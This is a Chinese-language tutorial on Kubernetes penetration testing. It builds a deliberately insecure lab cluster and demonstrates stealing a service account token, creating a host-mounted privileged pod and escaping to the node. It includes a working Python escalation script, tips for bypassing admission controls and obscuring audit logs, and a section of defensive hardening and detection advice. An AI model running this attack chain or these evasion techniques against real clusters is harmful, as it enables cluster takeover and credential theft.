云原生渗透测试:Kubernetes、服务网格与无服务器攻防实战
前言
-
技术背景:云原生已成为现代应用架构的基石,其核心组件 Kubernetes (K8s)、服务网格 (Service Mesh) 如 Istio,以及无服务器 (Serverless) 架构,在提升效率与弹性的同时,也引入了全新的攻击面。在现代网络攻防体系中,云原生渗透测试不再是传统内网渗透的简单延伸,而是专门针对容器、编排系统、微服务通信及云函数的专业领域,是评估企业核心数字资产安全性的关键环节。
-
学习价值:掌握云原生渗透测试,意味着您能够:
- 解决新问题:评估和利用因容器化、服务网格和无服务器架构引入的特有漏洞,如配置不当、权限过大、镜像漏洞、逃逸漏洞等。
- 提升能力:从传统的主机/网络层渗透,升级到能够理解和攻击分布式应用架构的更高维度。
- 创造价值:为企业发现潜藏在云原生基础设施中的重大安全隐患,提供可落地的修复建议,直接提升业务安全水位。
-
使用场景:本教程教授的技能可直接应用于以下场景:
- 授权渗透测试:对企业的生产或预生产 Kubernetes 集群进行全面的安全评估。
- 红蓝对抗演练:模拟高级攻击者,检验云原生环境下的监控、检测与响应能力。
- 安全架构评审:从攻击者视角出发,评估和加固新的云原生应用架构设计。
- DevSecOps 流程:将自动化安全测试集成到 CI/CD 管道中,实现安全左移。
一、Kubernetes 是什么
-
精确定义:Kubernetes(常简称为 K8s)是一个开源的容器编排平台,用于自动化容器化应用程序的部署、扩展和管理。它负责管理构成应用程序的容器集群,确保它们按预期运行。
-
一个通俗类比:想象一下,你是一家大型航运公司的调度总管。你有成千上-万个装满货物的集装箱(容器),需要部署到全球的货轮(节点/服务器)上。Kubernetes 就是你的自动化调度系统。你只需告诉它:“我需要 50 个装载 A 货物的集装箱,并且要保证它们一直在线”,K8s 就会自动寻找合适的货轮、装载集装箱、监控它们的状态,如果某个集装箱损坏(应用崩溃),它会自动换上一个新的,完全无需你手动干预。
-
实际用途:
- 微服务部署:管理构成复杂应用的数百个微服务。
- 弹性伸缩:根据流量自动增减应用实例数量。
- 高可用性:自动处理节点或应用的故障,实现服务自愈。
- 滚动更新:平滑地发布新版本应用,不中断服务。
-
技术本质说明:Kubernetes 的本质是一个分布式状态机。用户通过 API Server 声明应用的“期望状态”(例如,“我需要 3 个 Nginx 副本”),各个组件(如 Controller Manager、Scheduler)则协同工作,不断地驱动集群的“当前状态”去匹配这个“期望状态”。所有状态信息都持久化存储在 etcd 这个分布式键值存储中。攻击 K8s 的核心,就是想办法控制 API Server,或者利用某个组件的漏洞,来改变集群的状态,执行恶意操作。
核心架构与攻击路径
为了更好地理解 Kubernetes 原理,下图展示了其核心组件关系以及潜在的攻击向量。攻击者可能通过攻击工作节点上的 Pod,横向移动到其他 Pod,甚至尝试获取节点权限,最终目标是控制 Master 节点上的 API Server,从而接管整个集群。
二、环境准备
本节将指导您搭建一个包含常见漏洞的 Kubernetes 实验环境。
-
工具版本:
- Minikube: v1.32.0 (用于快速搭建本地 K8s 集群)
- kubectl: v1.28.3 (K8s 命令行客户端)
- Docker: 24.0.7 (作为 Minikube 的驱动)
-
下载方式:
- Minikube: 访问官方 GitHub Releases 页面下载对应系统的二进制文件。
- kubectl: 遵循 Kubernetes 官方文档的安装指南。
- Docker: 访问 Docker 官网下载并安装 Docker Desktop。
-
核心配置命令:
- 启动 Minikube 集群:
# 使用 docker 驱动启动一个名为 'insecure-cluster' 的集群 minikube start --driver=docker --profile insecure-cluster - 配置 kubectl 上下文:
# 将 kubectl 指向我们刚创建的集群 minikube profile insecure-cluster kubectl config use-context insecure-cluster
- 启动 Minikube 集群:
-
可运行环境命令(部署一个有漏洞的应用):
我们将部署一个允许匿名访问且拥有过大权限的 Dashboard,这是 Kubernetes 实战中常见的攻击入口。# 部署一个老版本的、存在漏洞的 Kubernetes Dashboard # 警告:此配置极不安全,仅限在隔离的授权测试环境中使用。 kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta8/aio/deploy/recommended.yaml # 创建一个拥有集群管理员权限的服务账户 (ServiceAccount) cat <<EOF | kubectl apply -f - apiVersion: v1 kind: ServiceAccount metadata: name: admin-user namespace: kubernetes-dashboard --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: admin-user roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: admin-user namespace: kubernetes-dashboard EOF # 启动代理,使我们可以在本地访问 Dashboard echo "启动代理,请在浏览器中打开 Dashboard URL..." kubectl proxy & # 在新终端中获取访问 Token echo "请在新终端执行以下命令获取 Token,并使用它登录 Dashboard:" echo "kubectl -n kubernetes-dashboard get secret \$(kubectl -n kubernetes-dashboard get sa/admin-user -o jsonpath=\"{.secrets[0].name}\") -o go-template=\"{{.data.token | base64decode}}\"" echo "" echo "Dashboard URL: http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https-kubernetes-dashboard:/proxy/"
三、核心实战:从 Pod 到集群控制
本节演示一个完整的攻击链:利用配置不当的 Service Account Token,从一个受限的 Pod 内部,逐步升级权限,最终控制整个 Kubernetes 集群。
- 场景:假设我们通过应用漏洞(如 RCE)获得了一个普通 Pod 的 Shell。
步骤 1:信息收集 - 我在哪里?
目的:确认当前环境是否在 Kubernetes Pod 内,并收集 Service Account 信息。
# 在模拟的 Pod Shell 中执行
# 1. 检查是否存在 Service Account 默认挂载的目录
ls -l /var/run/secrets/kubernetes.io/serviceaccount/
# 输出结果示例:
# total 0
# lrwxrwxrwx 1 root root 13 Mar 19 15:42 ca.crt -> ..data/ca.crt
# lrwxrwxrwx 1 root root 16 Mar 19 15:42 namespace -> ..data/namespace
# lrwxrwxrwx 1 root root 12 Mar 19 15:42 token -> ..data/token
# 2. 读取并存储 Token 和命名空间信息
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
echo "Token: $TOKEN"
echo "Namespace: $NAMESPACE"
说明:如果该目录存在,几乎可以肯定我们处于一个 K8s Pod 中。token 文件包含了可以与 API Server 交互的凭证。
步骤 2:权限探测 - 我能做什么?
目的:使用获取到的 Token,通过 kubectl 的 auth can-i 命令探测当前 Service Account 拥有哪些权限。
# 在拥有 kubectl 的攻击机上执行,或者在 Pod 内安装 kubectl
# 假设我们已将 Pod 内的 Token 复制到攻击机
# 配置 kubectl 使用窃取到的 Token
kubectl --server=https://<API_SERVER_IP>:<PORT> --token=$TOKEN --insecure-skip-tls-verify=true auth can-i --list -n $NAMESPACE
# 输出结果示例(权限过小的情况):
# Resources Verbs
# selfsubjectaccessreviews.authorization.k8s.io [create]
# selfsubjectrulesreviews.authorization.k8s.io [create]
# 输出结果示例(权限过大的情况,我们的目标!):
# Resources Verbs
# *.* [*]
说明:*.* [*] 表示拥有所有资源的所有操作权限,即集群管理员。这是典型的配置错误。
步骤 3:权限提升 - 创建特权 Pod
目的:利用已有的高权限 Token,创建一个新的、配置了特权的 Pod。这个新 Pod 将挂载宿主机的根文件系统,为我们实现容器逃逸做准备。
# attack-pod.yaml
# 警告:此 Pod 定义具有极高的危险性,仅限在授权测试环境中使用。
# 它会挂载宿主机的根目录到容器的 /host 目录。
apiVersion: v1
kind: Pod
metadata:
name: attack-pod
namespace: default # 可以选择任意有权限的命名空间
spec:
containers:
- name: attack-container
image: ubuntu:latest
# 保持容器持续运行
command: ["/bin/sh", "-c", "sleep 3600"]
volumeMounts:
- name: host-fs
mountPath: /host
volumes:
- name: host-fs
hostPath:
# 挂载宿主机的根目录
path: /
type: Directory
# 关键:允许 Pod 在任何节点上调度,并使用宿主机的网络和进程空间
hostNetwork: true
hostPID: true
hostIPC: true
# 使用窃取的 Token 部署恶意 Pod
kubectl --server=https://<API_SERVER_IP>:<PORT> --token=$TOKEN --insecure-skip-tls-verify=true apply -f attack-pod.yaml
步骤 4:容器逃逸与控制节点
目的:进入我们创建的特权 Pod,通过 chroot 命令切换到宿主机的根文件系统,从而获得对该 Worker 节点的完全控制。
# 1. 进入特权 Pod
kubectl --server=https://<API_SERVER_IP>:<PORT> --token=$TOKEN --insecure-skip-tls-verify=true exec -it attack-pod -n default -- /bin/bash
# 2. 在 attack-pod 的 Shell 中,切换到宿主机文件系统
# 现在你看到的是宿主机的根目录
chroot /host
# 你现在已经是宿主机 root 权限了!
# 可以查看节点上的所有容器、Kubelet 配置等
# 例如,窃取其他 Pod 的敏感信息或 Kubelet 的凭证
ls /var/lib/kubelet/pki/
自动化攻击脚本
以下是一个 Python 脚本,用于自动化执行上述流程中的步骤 1 到 3。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# ---
# 警告:本脚本仅用于授权的渗透测试和安全研究。
# 未经授权的攻击是非法行为。使用者需自行承担所有法律责任。
# ---
import os
import json
import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning
# 禁用不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_pod_permissions(api_server, token, namespace):
"""
使用给定的 Token 检查其在指定命名空间下的权限。
"""
headers = {"Authorization": f"Bearer {token}"}
url = f"{api_server}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
body = {
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectRulesReview",
"spec": {"namespace": namespace}
}
try:
response = requests.post(url, headers=headers, json=body, verify=False)
response.raise_for_status()
permissions = response.json()
# 检查是否存在创建 Pod 的权限
for rule in permissions.get("status", {}).get("resourceRules", []):
if ("pods" in rule.get("resources", []) or "*" in rule.get("resources", [])) and \
("create" in rule.get("verbs", []) or "*" in rule.get("verbs", [])):
print("[+] 发现 Pod 创建权限!可以尝试权限提升。")
return True
print("[-] 未发现足够的权限来创建 Pod。")
return False
except requests.exceptions.RequestException as e:
print(f"[!] 权限检查失败: {e}")
if "403" in str(e):
print("[-] 服务器返回 403 Forbidden,当前 Token 权限不足。")
return False
def create_privileged_pod(api_server, token, namespace, pod_name="attack-pod"):
"""
利用 Token 创建一个挂载宿主机根目录的特权 Pod。
"""
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/yaml"}
url = f"{api_server}/api/v1/namespaces/{namespace}/pods"
pod_manifest = f"""
apiVersion: v1
kind: Pod
metadata:
name: {pod_name}
spec:
containers:
- name: attack-container
image: alpine
command: ["/bin/sh", "-c", "sleep 36000"]
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
"""
try:
response = requests.post(url, headers=headers, data=pod_manifest, verify=False)
response.raise_for_status()
print(f"[+] 成功创建特权 Pod '{pod_name}' 于命名空间 '{namespace}'。")
print(f"[*] 使用 'kubectl exec -it {pod_name} -n {namespace} -- /bin/sh' 进入。")
print(f"[*] 进入后,执行 'chroot /host' 即可逃逸到宿主机。")
return True
except requests.exceptions.RequestException as e:
print(f"[!] 创建 Pod 失败: {e}")
if "409" in str(e):
print(f"[*] Pod '{pod_name}' 可能已存在。")
return False
def main():
parser = argparse.ArgumentParser(description="Kubernetes Service Account 权限提升自动化工具。")
parser.add_argument("--api-server", required=True, help="Kubernetes API Server 的 URL (例如: https://192.168.49.2:8443)。")
parser.add_argument("--token", required=True, help="从 Pod 中窃取的 Service Account Token。")
parser.add_argument("--namespace", default="default", help="目标命名空间 (默认为 'default')。")
args = parser.parse_args()
print("--- Kubernetes 渗透测试:自动化权限提升脚本 ---")
print("--- 警告:仅限授权测试环境使用 ---")
if check_pod_permissions(args.api_server, args.token, args.namespace):
create_privileged_pod(args.api_server, args.token, args.namespace)
if __name__ == "__main__":
# 使用示例:
# python3 k8s_pwn.py --api-server https://<API_SERVER_IP>:<PORT> --token <YOUR_TOKEN> --namespace default
main()
四、进阶技巧
-
常见错误:
- 忽略非默认命名空间:攻击者常常只在
default命名空间下探测,但高权限服务可能部署在kube-system或自定义命名空间中。务必枚举所有命名空间进行探测。 - 仅关注 Pod 创建权限:即使没有创建 Pod 的权限,
secrets的读取权限也可能让你获取到其他更高权限的 Token 或敏感配置。pods/exec权限则可以直接进入现有容器。
- 忽略非默认命名空间:攻击者常常只在
-
性能 / 成功率优化:
- 使用静态 Pod:如果获得了节点权限,可以直接在节点的
/etc/kubernetes/manifests/目录下放置 Pod 定义文件。Kubelet 会自动拉起这个 Pod,它不受 API Server 控制,更隐蔽,也更稳定。 - 利用
hostPath挂载 Docker Socket:如果hostPath挂载根目录被阻止,可以尝试挂载/var/run/docker.sock。之后在 Pod 内安装 Docker 客户端,就可以通过 socket 与宿主机的 Docker 守护进程通信,创建任意容器,等同于节点权限。
- 使用静态 Pod:如果获得了节点权限,可以直接在节点的
-
实战经验总结:
- Token 是关键:在 K8s 环境中,Service Account Token 是横向移动和权限提升的“万能钥匙”。拿到任何一个 Token,第一步都是探测其权限。
- 关注
cluster-admin:ClusterRoleBinding是权限分配的核心。寻找绑定到cluster-admin角色的 Service Account、User 或 Group 是最直接的提权路径。 - 利用网络策略:在有严格网络策略的集群中,即使拿到 Shell,也可能无法访问 API Server。此时需要分析当前 Pod 的网络策略,寻找可以通信的“出口”,或者利用 DNS 来发现内部服务。
-
对抗 / 绕过思路:
- Pod 安全策略 (PSP) / Pod 安全准入 (PSA):较新版本的 K8s 使用 Pod Security Admission 来限制创建特权容器。攻击时需要仔细构造 Pod 定义,寻找策略允许的“最小特权”组合来达到目的,例如只挂载特定敏感路径而非根目录。
- OPA/Gatekeeper:一些集群使用 Open Policy Agent (OPA) 作为更灵活的准入控制器。攻击前需要猜测或探测策略规则。例如,如果策略禁止使用
latest标签的镜像,攻击时就必须指定一个版本号。 - 日志混淆:在执行
kubectl exec等敏感操作时,可以添加大量无用命令来干扰日志审计,或者使用不易被规则匹配的命令执行方式。
五、注意事项与防御
错误写法 vs 正确写法
- 错误(过度授权):为了图方便,将
defaultService Account 绑定到cluster-admin。# 极度危险的配置 apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: dangerous-default-binding subjects: - kind: ServiceAccount name: default namespace: default roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io - 正确(最小权限原则):为应用创建专用的 Service Account,并只授予其完成工作所必需的最小权限。
apiVersion: v1 kind: ServiceAccount metadata: name: my-app-sa namespace: my-app --- apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: namespace: my-app name: pod-reader rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "watch", "list"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: read-pods-binding namespace: my-app subjects: - kind: ServiceAccount name: my-app-sa roleRef: kind: Role name: pod-reader apiGroup: rbac.authorization.k8s.io
风险提示
- 任何允许挂载宿主机路径(
hostPath)、使用宿主机网络(hostNetwork)或特权模式(privileged: true)的 Pod 都存在极高的逃逸风险。 - 暴露 Kubernetes Dashboard 到公网且没有强认证,无异于将集群管理后台公之于众。
- API Server 允许匿名访问 (
--anonymous-auth=true) 是一个极其危险的配置。
开发侧安全代码范式
- 不要在代码中硬编码凭证:使用 K8s Secrets 来管理数据库密码、API 密钥等。
- 使用 Distroless/Slim 镜像:选择不包含 shell 或不必要工具的基础镜像,增加攻击者在获取 Shell 后进行操作的难度。
- 应用内权限控制:即使在同一个 Pod 内,也应实现应用级别的用户权限控制,而不是依赖于容器的边界。
运维侧加固方案
- 启用 Pod Security Admission (PSA):在
restricted模式下运行,严格限制特权容器的创建。 - 实施网络策略 (Network Policies):默认拒绝所有 Pod 间的流量,仅允许必要的通信,阻止横向移动。
- 定期审计 RBAC 权限:使用
kubectl-who-can或开源工具(如krane)定期扫描和审查集群中的角色和绑定,清理不必要的权限。 - 升级 Kubernetes 版本:及时跟进社区发布的安全补丁,修复已知的漏洞。
日志检测线索
- API Server 审计日志:
- 可疑的
pods/exec:监控非典型用户(如 Service Account)对 Pod 执行exec操作。 - 创建特权 Pod:告警任何包含
hostPath,hostNetwork,privileged: true等字段的 Pod 创建请求。 - 权限探测行为:短时间内大量来自同一源的
selfsubjectaccessreviews请求。
- 可疑的
- 节点日志 (
journalctl -u kubelet):- 异常容器启动:监控由非正常流程(如静态 Pod)启动的容器。
- 敏感挂载:记录所有
hostPath的挂载事件。
总结
-
核心知识:Kubernetes 渗透测试的核心是围绕 API Server 的攻防。攻击的本质是获取一个能与 API Server 通信的凭证(通常是 Service Account Token),并利用其权限执行恶意操作,最终目标是获得集群最高权限(
cluster-admin)。 -
使用场景:本教程演示的“窃取 Token -> 探测权限 -> 创建特权 Pod -> 容器逃逸”是 K8s 渗透中最经典、最有效的攻击链之一,适用于绝大多数授权红队评估和安全审计场景。
-
防御要点:防御的核心是遵循最小权限原则。通过 RBAC 精细化授权、使用 Pod 安全准入限制危险容器、并以网络策略隔离工作负载,可以极大提高攻击门槛。
-
知识体系连接:掌握 K8s 渗透是云原生安全能力的重要一环。它向上连接到应用安全(通过应用漏洞获取初始访问),向下连接到主机安全(容器逃逸后即为节点主机攻防),横向则与服务网格和无服务器安全紧密相关。
-
进阶方向:
- 服务网格 (Istio) 渗透:研究如何利用 Istio 的配置错误(如宽松的
AuthorizationPolicy)进行服务劫持和流量嗅探。 - 无服务器 (Serverless) 攻击:探索针对 Lambda、Knative 等平台的函数漏洞利用、权限提升和数据泄露技术。
- 供应链攻击:研究如何通过污染 CI/CD 流水线或容器镜像仓库来植入后门,实现对整个云原生环境的持久化控制。
- 服务网格 (Istio) 渗透:研究如何利用 Istio 的配置错误(如宽松的
自检清单
- 是否说明技术价值?
- 是否给出学习目标?
- 是否有 Mermaid 核心机制图?
- 是否有可运行代码?
- 是否有防御示例?
- 是否连接知识体系?
- 是否避免模糊术语?
更多推荐
所有评论(0)